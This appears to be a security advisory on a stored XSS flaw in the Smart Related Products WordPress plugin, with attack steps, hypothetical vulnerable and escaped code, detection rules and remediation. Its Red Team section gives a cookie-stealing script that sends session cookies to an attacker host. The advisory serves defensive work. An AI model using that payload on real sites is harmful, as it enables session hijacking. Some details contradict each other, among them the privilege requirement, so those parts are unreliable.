CVE-2025-60160

Executive Summary

CVE-2025-60160 is a Stored Cross-Site Scripting (XSS) vulnerability in the Smart Related Products WordPress plugin (slug: ai-related-products) developed by Sharkthemes. The vulnerability affects all versions up to and including 2.0.8. An attacker with contributor-level access or higher can inject malicious JavaScript payloads into the plugin’s input fields, which are then stored and executed in the browsers of other users (including administrators) when they view the affected pages. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 5.9 (Medium), and no public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem. Users should verify the integrity of the plugin files and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.9 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but requires a user to interact with the malicious content)
• User Interaction: Required (victim must view the page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability is exploitable without authentication, but requires user interaction. The impact is limited to low confidentiality and integrity loss.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input in the plugin’s admin-facing settings or post-meta fields. The plugin likely stores product-related data (e.g., custom titles, descriptions, or links) in the WordPress database without proper sanitization or output escaping. When this data is later rendered on the frontend or in the admin dashboard, the injected script executes in the context of the victim’s browser.

Attack Flow:

1. An attacker with contributor-level access (or higher) navigates to the plugin’s settings or post editor.
2. The attacker injects a malicious JavaScript payload into an input field (e.g., product title, description, or custom field).
3. The plugin stores the payload in the database without sanitization.
4. When an administrator or other user views the page containing the stored data, the script executes.
5. The script can steal cookies, redirect users, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. The plugin likely uses functions like echo or the_title() without proper escaping.

Vulnerable Code (Hypothetical):

// In a template file or shortcode handler
echo get_post_meta($post_id, 'smart_related_product_title', true);

Patched Code (Expected):

// Properly escape output
echo esc_html(get_post_meta($post_id, 'smart_related_product_title', true));

The fix should use esc_html(), esc_attr(), or wp_kses_post() depending on the context.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress installation with the Smart Related Products plugin (version <= 2.0.8).
• A user account with at least Contributor role.

Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. In the plugin’s meta box (e.g., “Smart Related Products”), inject the following payload into a text field:

   <script>alert('XSS')</script>
   

4. Save the post.
5. As an administrator, view the post. The script will execute.

Advanced Payload (Session Hijacking):

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team

Detection:

• Monitor for unusual JavaScript in post meta fields.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Restrict contributor-level access to trusted users only.

Hunting:

• Search the database for <script> tags in wp_postmeta where meta_key contains smart_related.
• Review server logs for requests containing alert( or document.cookie.

Indicators of Compromise (IOCs)

• File Hashes (Plugin Files): (No specific hashes available; verify plugin integrity via checksums from WordPress.org)
• Database Entries: wp_postmeta rows with meta_key like smart_related_product_* containing <script> tags.
• Network Traffic: Outbound HTTP requests to attacker-controlled domains from the WordPress admin or frontend.
• Log Entries: PHP error logs showing unexpected output or JavaScript execution errors.

Detection Engineering

YARA Rule

rule CVE_2025_60160_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Smart Related Products plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60160"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_meta = /smart_related_product_/
    condition:
        $plugin_meta and $xss_payload
}

Sigma Rule

title: Stored XSS in Smart Related Products Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress post meta fields
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: '/wp-admin/post.php'
        http.body|contains: 'smart_related_product_'
        http.body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in post content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60160 Stored XSS in Smart Related Products"; flow:to_server; content:"smart_related_product_"; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict user roles – only allow trusted administrators to edit posts.
3. Implement a WAF rule to block <script> tags in POST requests to wp-admin/post.php.

Long-Term Fix:

• The vendor must release a patched version that properly escapes output using esc_html(), esc_attr(), or wp_kses_post().
• Users should update to the latest version once available.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for XSS.

Valters IT